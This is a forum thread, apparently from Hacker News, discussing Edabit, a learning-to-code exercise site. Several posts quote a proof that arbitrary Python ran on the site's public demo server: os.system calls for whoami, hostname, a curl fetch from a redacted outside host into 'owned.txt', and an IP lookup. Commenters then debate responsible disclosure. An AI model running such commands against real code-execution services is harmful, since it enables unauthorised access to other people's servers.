Show HN: Edabit – Like Duolingo for Learning to Code • Hacker News Board

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#21

Post by richjdsmith » Wed, Nov 14, 2018, 7:06 PM UTC

reificator wrote: post #16

mxschumacher wrote: post #9

I think w3schools related links should be removed from the Resources tab, due to the consistent low quality of that site

While I tend to avoid w3schools in general, according to https://www.w3fools.com/ it's gotten better over time.

Boy do I ever have a treat for you then: https://addons.mozilla.org/en-US/firefox/addon/personal-bloc...

My search results for CSS problems are so much better now that MDN is the first result.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#22

Post by dna_polymerase » Wed, Nov 14, 2018, 7:07 PM UTC

procinct wrote: post #17

xtrapolate wrote: post #12

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

I can’t help but feel that posting this in a HN comment when they’re showing off the site isn’t exactly responsible disclosure.

Whoever runs a service that allows running untrusted code in 2018 deserves no responsible disclosure but a punch in the face.

It doesn't help if we allow those entities to exist.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#23

Post by rjplatte » Wed, Nov 14, 2018, 7:08 PM UTC

uberswe wrote: post #18

rjplatte wrote: post #3

Why don't I have the instructions and my code on the same page? Seriously, I need all my information visible to me. What's going on here?

My first thought too, I was trying to type in the "tip" box before I found the code tab

Exactly. It's just bad UI.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#24

Post by anonytrary » Wed, Nov 14, 2018, 7:08 PM UTC

I don't understand how this is different from Hackerrank/Leetcode or how it's similar to Duolingo. Can someone explain what the innovation is here over HackerRank or LeetCode?

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#25

Post by i_am_nomad » Wed, Nov 14, 2018, 7:10 PM UTC

xtrapolate wrote: post #12

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

And this also illustrates why Apple forbids any kind of iOS app that lets a user write and execute code.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#26

Post by folkrav » Wed, Nov 14, 2018, 7:10 PM UTC

gammateam wrote: post #15

crispyambulance wrote: post #14

Earlier quoted context omitted.

I think the key thing is that these are exercises. People learn by seeing examples and solving problems with gradually increasing difficultly. This appears to be an arena for doing just that. Concepts and theory are certainly critical, but one needs to practice in order to achieve mastery. The conceptual framework for all this stuff is covered in detail in other resources, anyway. After taking a cursory look around,…

I was just trying to understand the Duolingo analogy

Duolingo by itself isn't really enough to really learn a language either. Thanks to Duolingo, I can definitely say "the woman eats the apple" in Italian, but I don't understand the language's grammar and its verb conjugation rules enough to build complete sentences.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#27

Post by procinct » Wed, Nov 14, 2018, 7:11 PM UTC

dna_polymerase wrote: post #22

procinct wrote: post #17

Earlier quoted context omitted.

I can’t help but feel that posting this in a HN comment when they’re showing off the site isn’t exactly responsible disclosure.

Whoever runs a service that allows running untrusted code in 2018 deserves no responsible disclosure but a punch in the face. It doesn't help if we allow those entities to exist.

Chances are, they are a beginner. This is someone’s side project not a site backed by a huge corporation. They deserve responsible disclosure so they can learn from it.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#28

Post by kuroop » Wed, Nov 14, 2018, 7:12 PM UTC

xtrapolate wrote: post #12

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

I think a responsible thing should be to take down the site, so that other users data don't get hacked by misuse by some malicious entity.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#29

Post by gugagore » Wed, Nov 14, 2018, 7:23 PM UTC

i_am_nomad wrote: post #25

xtrapolate wrote: post #12

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

And this also illustrates why Apple forbids any kind of iOS app that lets a user write and execute code.

Maybe I don't see your point, but an iOS app could execute code locally. The only risk is the device owner could compromise the device. There is no [additional] risk of another user doing so.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#30

Post by hathawsh » Wed, Nov 14, 2018, 7:24 PM UTC

richjdsmith wrote: post #21

reificator wrote: post #16

Earlier quoted context omitted.

While I tend to avoid w3schools in general, according to https://www.w3fools.com/ it's gotten better over time.

Boy do I ever have a treat for you then: https://addons.mozilla.org/en-US/firefox/addon/personal-bloc... My search results for CSS problems are so much better now that MDN is the first result.

Another way to accomplish this is to add "MDN" to all CSS and JS searches. For example, "mdn array slice" lands right on the best documentation on array slicing (tested on Google and DuckDuckGo).